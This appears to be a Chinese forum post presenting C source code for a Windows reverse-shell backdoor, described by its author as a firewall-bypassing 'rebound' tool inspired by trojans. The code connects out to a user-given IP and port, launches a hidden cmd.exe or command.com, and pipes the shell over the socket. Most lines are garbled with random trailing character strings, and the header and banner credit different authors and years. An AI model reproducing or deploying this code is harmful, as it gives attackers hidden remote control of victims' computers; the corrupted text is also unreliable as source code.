这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vRr9%zx
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/* ============================== X"<|Z]w
Rebound port in Windows NT @GeHWv
By wind,2006/7 :1_mfX
===============================*/ +t"j-}xzE
#include 2Y+:,ud\
#include ri=+(NKo-
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#pragma comment(lib,"wsock32.lib") wW5Yw
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void OutputShell(); B*79qq
SOCKET sClient; #PFO]j!_b
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D^?_"wjW
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void main(int argc,char **argv) u)~s4tP4
{ 9rcI+q=E
WSADATA stWsaData; lT,+bU
int nRet; >r}Vf9 5[N
SOCKADDR_IN stSaiClient,stSaiServer; ]sL45k2W
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if(argc != 3) N!c
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{ S(t{&+Wc
printf("Useage:\n\rRebound DestIP DestPort\n"); +tUQ
return; 2f..sNz
} 9XOyj5
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WSAStartup(MAKEWORD(2,2),&stWsaData); Gru ALx7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _yVPpA[a
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stSaiClient.sin_family = AF_INET; mx}E$b$<CY
stSaiClient.sin_port = htons(0); 6Xa.0(h
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^73=7PZ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }N,>A-P
{ VMHC/jlX@r
printf("Bind Socket Failed!\n"); 6N3@!xtpi
return; *Hunp Y
} \ja `c)x
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stSaiServer.sin_family = AF_INET; .'lN4x
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3dm'xetM
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P4 6,o
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j)L1H*
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{ /s`;9)G]9
printf("Connect Error!"); %g w{[
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return; 6?o>{e7n^
} 6mHhC?
OutputShell(); aD|Yo
} }\Z5{OA
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void OutputShell() ikHOqJ-,m
{ p(?3
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char szBuff[1024]; m&Sp1=*Ejy
SECURITY_ATTRIBUTES stSecurityAttributes; @q)E=G1<o0
OSVERSIONINFO stOsversionInfo; ?v.Gn9Z&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; woau'7}XOu
STARTUPINFO stStartupInfo; jONjt(&N
char *szShell; c[5@\j\
PROCESS_INFORMATION stProcessInformation; =l,#iYJP8
unsigned long lBytesRead; q[c Etp28h
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f3&/r
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5f_7&NxT
stSecurityAttributes.lpSecurityDescriptor = 0; @vAFfYU9<.
stSecurityAttributes.bInheritHandle = TRUE; rPO}6lsc
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #LWg" i
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a))*F!}c
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &7Kb]Ti
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g1V)$s7
stStartupInfo.wShowWindow = SW_HIDE; <V
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stStartupInfo.hStdInput = hReadPipe; SqqDV)Uih1
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J]\^QMX
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GetVersionEx(&stOsversionInfo); os**hFPk;1
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switch(stOsversionInfo.dwPlatformId) EfKntrom[
{ -tyaE
case 1: }
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szShell = "command.com"; ? s4oDi|:
break; (8x
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default: ]!aUT&
szShell = "cmd.exe"; ImHU:iR[J-
break; r|-J8s#
} a8QfkOe
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @C_ =*
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send(sClient,szMsg,77,0); 4 Py3I9
while(1) UkfA}b^@v
{ b1)\Zi
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); aAcKwCGq\
if(lBytesRead) })7K S?
{ /7vE>mSY
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); f?-J#x)
send(sClient,szBuff,lBytesRead,0); VIg\]%qse
} FG#nap{
else hS_.l}0yf
{ iT$d;5_pU
lBytesRead=recv(sClient,szBuff,1024,0); vZk9gGjk
if(lBytesRead<=0) break; `^e*T'UPl
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Wr#~GFg
} ?(Bl~?zD
} 3+zzi
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return; Tk](eQsy.v
}